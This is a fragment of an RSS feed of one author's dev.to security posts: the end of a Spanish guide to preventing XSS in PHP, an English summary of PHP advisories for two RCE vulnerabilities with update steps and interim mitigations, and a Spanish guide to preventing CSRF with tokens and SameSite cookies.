&lt;span class="nt"&gt;&amp;lt;/script&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Si usas un motor de plantillas como Twig, &lt;code&gt;{{ variable }}&lt;/code&gt; escapa automáticamente. Cuidado con &lt;code&gt;{{ variable|raw }}&lt;/code&gt;, que desactiva el escapado.&lt;/p&gt;

&lt;h2&gt;
  
  
  Capas adicionales
&lt;/h2&gt;

&lt;p&gt;Las cabeceras Content Security Policy (CSP) le dicen al navegador de dónde puede cargar scripts, estilos e imágenes. Una CSP bien configurada puede impedir que un script colado se ejecute o envíe datos a otro dominio. Con esta política solo se ejecutan scripts de tu propio dominio:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="nb"&gt;header&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"Content-Security-Policy: default-src 'self'; script-src 'self'"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;No sustituye a escapar correctamente, pero es una buena red de seguridad. Una CSP demasiado estricta puede romper cosas, así que empieza con &lt;code&gt;Content-Security-Policy-Report-Only&lt;/code&gt; para ver qué bloquearía antes de activarla del todo.&lt;/p&gt;

&lt;p&gt;Si trabajas con WordPress, no uses &lt;code&gt;htmlspecialchars()&lt;/code&gt; directamente: tiene funciones de escapado según el contexto, como &lt;code&gt;esc_html()&lt;/code&gt; para texto, &lt;code&gt;esc_attr()&lt;/code&gt; para atributos, &lt;code&gt;esc_url()&lt;/code&gt; para URLs y &lt;code&gt;wp_kses()&lt;/code&gt; cuando necesitas permitir algunas etiquetas HTML pero no todas.&lt;/p&gt;

&lt;h2&gt;
  
  
  Conclusión
&lt;/h2&gt;

&lt;p&gt;Para evitar XSS en PHP, escapa siempre en la salida y según el contexto, y añade una CSP como red de seguridad.&lt;/p&gt;

&lt;p&gt;Si quieres el ejemplo completo y la explicación detallada, está en el &lt;a href="https://todoseaprende.com/2026/05/21/como-evitar-ataques-xss-en-php/" rel="noopener noreferrer"&gt;artículo original en Todo se Aprende&lt;/a&gt;.&lt;/p&gt;

</description>
      <category>php</category>
      <category>security</category>
      <category>webdev</category>
      <category>tutorial</category>
    </item>
    <item>
      <title>PHP RCE vulnerabilities CVE-2026-109618 and CVE-2026-109619: what to check and how to update</title>
      <dc:creator>Marius Podar</dc:creator>
      <pubDate>Tue, 27 Oct 2026 07:56:02 +0000</pubDate>
      <link>https://dev.to/marius_podar/php-rce-vulnerabilities-cve-2026-109618-and-cve-2026-109619-what-to-check-and-how-to-update-59mm</link>
      <guid>https://dev.to/marius_podar/php-rce-vulnerabilities-cve-2026-109618-and-cve-2026-109619-what-to-check-and-how-to-update-59mm</guid>
      <description>&lt;p&gt;On 21 October 2026 the PHP project released PHP 8.5.12, 8.4.27, 8.3.36 and 8.2.35 to fix two critical vulnerabilities, CVE-2026-109618 and CVE-2026-109619. Both can lead to unauthenticated remote code execution. They carry a CVSS v4.0 score of 9.2 (Critical) from the PHP Group, with attack complexity listed as High, and CISA added both to its Known Exploited Vulnerabilities catalog on 26 October 2026. The advisories do not state whether exploit code is publicly available.&lt;/p&gt;

&lt;h2&gt;
  
  
  What was found
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;CVE-2026-109618 (RCE via OOM corruption).&lt;/strong&gt; PHP uses &lt;code&gt;longjmp()&lt;/code&gt; to abort a request when it runs out of memory. If that happens while internal request data is only partly initialized, the cleanup at the end of the request can treat invalid data as valid. The advisory lists several ways to exhaust memory with a multipart request that still looks within PHP's limits.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;CVE-2026-109619 (RCE via stale global state).&lt;/strong&gt; Some internal state points to memory owned by a single request. If a fatal error, such as a timeout, interrupts the request before that state is reset, a later request handled by the same worker can read freed memory (a use-after-free). The attack needs two requests: one leaves the stale state and the next uses it.&lt;/p&gt;

&lt;h2&gt;
  
  
  Who is affected
&lt;/h2&gt;

&lt;p&gt;Every release before 8.5.12, 8.4.27, 8.3.36 and 8.2.35 in their branches. According to the PHP announcement, any installation serving web requests is in scope: PHP-FPM, Apache with mod_php, php-cgi, FrankenPHP and LiteSpeed. The project considers the risk highest for mod_php, where an unauthenticated attack has been demonstrated that runs before any application code. For CVE-2026-109618 a complete FPM exploit has not been demonstrated, while for CVE-2026-109619 the advisory reports a validated attack against both mod_php and FPM.&lt;/p&gt;

&lt;p&gt;PHP 8.1 and older no longer receive project updates. The security team prepared minimal source backports for 7.4, 8.0 and 8.1, and some distributions and LTS vendors provide their own fixes.&lt;/p&gt;

&lt;h2&gt;
  
  
  Check your PHP version
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;php &lt;span class="nt"&gt;-v&lt;/span&gt;
php-fpm &lt;span class="nt"&gt;-v&lt;/span&gt;   &lt;span class="c"&gt;# the binary name varies: php-fpm8.3, php83-fpm...&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The command-line binary can differ from the one serving your site. To see the web version, use a temporary page that prints it, and delete it afterwards:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="cp"&gt;&amp;lt;?php&lt;/span&gt; &lt;span class="k"&gt;echo&lt;/span&gt; &lt;span class="kc"&gt;PHP_VERSION&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If PHP comes from a distribution or LTS vendor, check their advisory for the fixed package: a backported fix does not always change the version number.&lt;/p&gt;

&lt;h2&gt;
  
  
  How to update
&lt;/h2&gt;

&lt;p&gt;Update to 8.5.12, 8.4.27, 8.3.36 or 8.2.35, or a later release of the same branch. Source and Windows binaries are on php.net; on Linux, use your distribution's updates. Then restart every PHP worker (the FPM service, or Apache with mod_php). Both advisories say that updating is the only complete mitigation.&lt;/p&gt;

&lt;h2&gt;
  
  
  If you cannot update today
&lt;/h2&gt;

&lt;p&gt;These measures only reduce exposure to specific attack paths; they do not make an installation safe. The same checklist is in my &lt;a href="https://todoseaprende.com/2026/10/21/php-vulnerabilidades-rce-cve-2026-109618-109619/" rel="noopener noreferrer"&gt;original article in Spanish&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;For CVE-2026-109618:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Set &lt;code&gt;memory_limit=-1&lt;/code&gt; administratively, so the application cannot change it. It removes the controllable limit used by the confirmed attack, but it is not complete.&lt;/li&gt;
&lt;li&gt;Set &lt;code&gt;post_max_size&lt;/code&gt; to 8M if the application needs no uploads, or 32M if it does, and keep &lt;code&gt;upload_max_filesize&lt;/code&gt; below it.&lt;/li&gt;
&lt;li&gt;Enforce limits at the web server or proxy for decoded request size, fields, multipart parts, headers and nesting depth, including requests without a usable &lt;code&gt;Content-Length&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Use a container or cgroup limit as an availability boundary. Do not use &lt;code&gt;RLIMIT_AS&lt;/code&gt; or &lt;code&gt;RLIMIT_DATA&lt;/code&gt;: they can trigger the vulnerable failure.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;For CVE-2026-109619:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Set &lt;code&gt;session.upload_progress.enabled=0&lt;/code&gt; in &lt;code&gt;php.ini&lt;/code&gt;, the FPM pool or the server configuration, and restart every worker. Do not rely on &lt;code&gt;ini_set()&lt;/code&gt; or FPM's &lt;code&gt;.user.ini&lt;/code&gt;. It does not cover other variants.&lt;/li&gt;
&lt;li&gt;On PHP 8.5, set &lt;code&gt;fatal_error_backtraces=0&lt;/code&gt; and restart.&lt;/li&gt;
&lt;li&gt;Remove invalid or deprecated settings applied per request that emit warnings before initialization. Hiding warnings with &lt;code&gt;error_reporting&lt;/code&gt;, &lt;code&gt;display_errors&lt;/code&gt; or &lt;code&gt;@&lt;/code&gt; does not help.&lt;/li&gt;
&lt;li&gt;Fix fatal errors and timeouts that an attacker can trigger.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;On 23 October the project also recommended &lt;code&gt;session.upload_progress.enabled=0&lt;/code&gt; until the next bugfix release, for a separate and unlikely vector (CVE-2026-115560).&lt;/p&gt;

&lt;h2&gt;
  
  
  Sources
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://www.php.net/archive/2026.php#2026-10-21-5" rel="noopener noreferrer"&gt;PHP announcement&lt;/a&gt;, &lt;a href="https://github.com/php/php-src/security/advisories/GHSA-w8hw-w9fx-j79w" rel="noopener noreferrer"&gt;GHSA-w8hw-w9fx-j79w&lt;/a&gt;, &lt;a href="https://github.com/php/php-src/security/advisories/GHSA-6wmf-4rv5-p3rp" rel="noopener noreferrer"&gt;GHSA-6wmf-4rv5-p3rp&lt;/a&gt;, &lt;a href="https://nvd.nist.gov/vuln/detail/CVE-2026-109618" rel="noopener noreferrer"&gt;NVD CVE-2026-109618&lt;/a&gt;, &lt;a href="https://nvd.nist.gov/vuln/detail/CVE-2026-109619" rel="noopener noreferrer"&gt;NVD CVE-2026-109619&lt;/a&gt; and the &lt;a href="https://www.cisa.gov/known-exploited-vulnerabilities-catalog" rel="noopener noreferrer"&gt;CISA KEV catalog&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;I wrote a more detailed version in Spanish here: &lt;a href="https://todoseaprende.com/2026/10/21/php-vulnerabilidades-rce-cve-2026-109618-109619/" rel="noopener noreferrer"&gt;PHP: vulnerabilidades críticas RCE (CVE-2026-109618 y 109619)&lt;/a&gt;&lt;/p&gt;

</description>
      <category>php</category>
      <category>security</category>
      <category>webdev</category>
      <category>news</category>
    </item>
    <item>
      <title>CSRF en PHP: qué es y cómo prevenirlo con un token (guía rápida)</title>
      <dc:creator>Marius Podar</dc:creator>
      <pubDate>Tue, 27 Oct 2026 06:34:04 +0000</pubDate>
      <link>https://dev.to/marius_podar/csrf-en-php-que-es-y-como-prevenirlo-con-un-token-guia-rapida-523i</link>
      <guid>https://dev.to/marius_podar/csrf-en-php-que-es-y-como-prevenirlo-con-un-token-guia-rapida-523i</guid>
      <description>&lt;p&gt;El CSRF (&lt;em&gt;Cross-Site Request Forgery&lt;/em&gt;) es una de las tres vulnerabilidades web clásicas, junto al SQL Injection y el XSS. Y tiene una particularidad: no necesita robar ninguna contraseña. Le basta con que la víctima ya tenga una sesión abierta en tu aplicación.&lt;/p&gt;

&lt;h2&gt;
  
  
  Cómo funciona el ataque
&lt;/h2&gt;

&lt;p&gt;Cuando un usuario inicia sesión, el navegador guarda una cookie de sesión y la envía automáticamente en cada petición a ese dominio, sin importar desde qué página se origine. Un atacante puede aprovecharlo con una página (o un email, o un anuncio) que lance una petición a tu sitio. Si tu aplicación solo comprueba que hay sesión, la ejecutará como si la hubiera hecho el propio usuario.&lt;/p&gt;

&lt;p&gt;Imagina un formulario para cambiar el email de la cuenta que solo comprueba &lt;code&gt;$_SESSION['user_id']&lt;/code&gt;. El atacante monta una página externa con un formulario oculto que apunta a tu endpoint y se envía solo con JavaScript. Si la víctima la visita estando logueada, su email cambia sin que se entere. Desde ahí, al atacante le basta con pedir un «olvidé mi contraseña» para quedarse con la cuenta.&lt;/p&gt;

&lt;h2&gt;
  
  
  La defensa principal: un token CSRF
&lt;/h2&gt;

&lt;p&gt;La defensa estándar, recomendada por OWASP, es un token aleatorio generado por el servidor, que viaja en cada formulario y se valida al recibir la petición. El atacante no puede conocerlo ni adivinarlo, así que no puede incluirlo en su formulario falso.&lt;/p&gt;

&lt;p&gt;Genera el token y guárdalo en sesión:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="nb"&gt;session_start&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;empty&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$_SESSION&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'csrf_token'&lt;/span&gt;&lt;span class="p"&gt;]))&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nv"&gt;$_SESSION&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'csrf_token'&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;bin2hex&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;random_bytes&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;32&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Inclúyelo en el formulario:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;input&lt;/span&gt; &lt;span class="na"&gt;type=&lt;/span&gt;&lt;span class="s"&gt;"hidden"&lt;/span&gt; &lt;span class="na"&gt;name=&lt;/span&gt;&lt;span class="s"&gt;"csrf_token"&lt;/span&gt; &lt;span class="na"&gt;value=&lt;/span&gt;&lt;span class="s"&gt;"&amp;lt;?= $_SESSION['csrf_token'] ?&amp;gt;"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Y valídalo antes de procesar nada:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;
    &lt;span class="k"&gt;empty&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$_POST&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'csrf_token'&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt;
    &lt;span class="k"&gt;empty&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$_SESSION&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'csrf_token'&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt;
    &lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nb"&gt;hash_equals&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$_SESSION&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'csrf_token'&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="nv"&gt;$_POST&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'csrf_token'&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;
&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nb"&gt;http_response_code&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;403&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="k"&gt;die&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'Petición no válida.'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Dos detalles importantes: usa &lt;code&gt;random_bytes()&lt;/code&gt; (nunca &lt;code&gt;rand()&lt;/code&gt; ni &lt;code&gt;uniqid()&lt;/code&gt;) y compara con &lt;code&gt;hash_equals()&lt;/code&gt; en lugar de &lt;code&gt;==&lt;/code&gt;, para evitar &lt;em&gt;timing attacks&lt;/em&gt;. En acciones muy sensibles, como cambiar la contraseña, invalida el token después de usarlo con &lt;code&gt;unset($_SESSION['csrf_token'])&lt;/code&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  Capas adicionales
&lt;/h2&gt;

&lt;p&gt;El token es la defensa principal, pero conviene combinarlo con:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Cookies SameSite&lt;/strong&gt;: con &lt;code&gt;SameSite=Lax&lt;/code&gt; o &lt;code&gt;Strict&lt;/code&gt;, el navegador no envía la cookie de sesión en peticiones que vienen de otros dominios.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Comprobar &lt;code&gt;Origin&lt;/code&gt; o &lt;code&gt;Referer&lt;/code&gt;&lt;/strong&gt;: solo como capa extra, nunca como única defensa, porque pueden faltar en casos legítimos.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Usar POST, nunca GET, para acciones que modifican datos&lt;/strong&gt;: un enlace GET se explota con un simple &lt;code&gt;&amp;lt;img src="..."&amp;gt;&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;HTTPS en todo el sitio&lt;/strong&gt;, para que las cookies &lt;code&gt;secure&lt;/code&gt; se envíen siempre.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Si usas un framework como Laravel o Symfony, ya trae protección CSRF integrada: actívala y no la desactives «para simplificar».&lt;/p&gt;

&lt;h2&gt;
  
  
  Conclusión
&lt;/h2&gt;

&lt;p&gt;Con un token aleatorio, &lt;code&gt;hash_equals()&lt;/code&gt; y cookies SameSite cubres la gran mayoría de los casos reales de CSRF en PHP, sin librerías complicadas.&lt;/p&gt;

&lt;p&gt;Si quieres el ejemplo completo y la explicación detallada, está en el &lt;a href="https://todoseaprende.com/2026/08/21/csrf-y-como-prevenirlo-en-php/" rel="noopener noreferrer"&gt;artículo original en Todo se Aprende&lt;/a&gt;.&lt;/p&gt;

</description>
      <category>php</category>
      <category>security</category>
      <category>webdev</category>
      <category>tutorial</category>
    </item>
  </channel>
</rss>
